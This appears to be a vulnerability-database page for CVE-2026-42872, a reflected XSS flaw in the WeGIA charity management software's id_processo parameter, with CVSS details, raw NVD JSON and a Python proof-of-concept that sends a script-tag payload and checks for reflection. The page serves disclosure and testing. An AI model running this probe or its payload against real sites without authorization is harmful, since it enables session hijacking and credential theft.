Security Vulnerability Report
中文
CVE-2026-42872 CVSS 6.1 MEDIUM

CVE-2026-42872

Published: 2026-05-11 20:25:44
Last Modified: 2026-05-11 20:25:44

Description

WeGIA is a web manager for charitable institutions. In versions prior to 3.7.0, a reflected Cross-Site Scripting (XSS) vulnerability exists in lista_arquivos_etapa.php due to improper handling of user-supplied input. The id_processo parameter is directly embedded into the HTML without sanitization, allowing attackers to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or execution of malicious actions in the context of the victim's browser. This vulnerability is fixed in 3.7.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WeGIA < 3.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_xss_vulnerability(target_url): """ PoC to demonstrate the reflected XSS in CVE-2026-42872. Target endpoint: lista_arquivos_etapa.php Vulnerable parameter: id_processo """ # The vulnerable endpoint path endpoint = "/lista_arquivos_etapa.php" # Malicious payload to inject JavaScript # Using a simple alert script to demonstrate execution payload = "<script>alert('CVE-2026-42872_XSS');</script>" # Construct the full URL full_url = f"{target_url}{endpoint}" # Parameters to send params = { "id_processo": payload } try: # Send GET request response = requests.get(full_url, params=params, timeout=10) # Check if the payload is reflected in the response body without sanitization if payload in response.text: print(f"[+] Vulnerability confirmed at: {response.url}") print("[+] The application reflected the un sanitized input.") return True else: print("[-] Vulnerability not detected or already patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:80/we gia" check_xss_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42872", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:43.690", "lastModified": "2026-05-11T20:25:43.690", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. In versions prior to 3.7.0, a reflected Cross-Site Scripting (XSS) vulnerability exists in lista_arquivos_etapa.php due to improper handling of user-supplied input. The id_processo parameter is directly embedded into the HTML without sanitization, allowing attackers to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or execution of malicious actions in the context of the victim's browser. This vulnerability is fixed in 3.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-gp6v-f6q5-wq62", "source": "[email protected]"}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-gp6v-f6q5-wq62", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}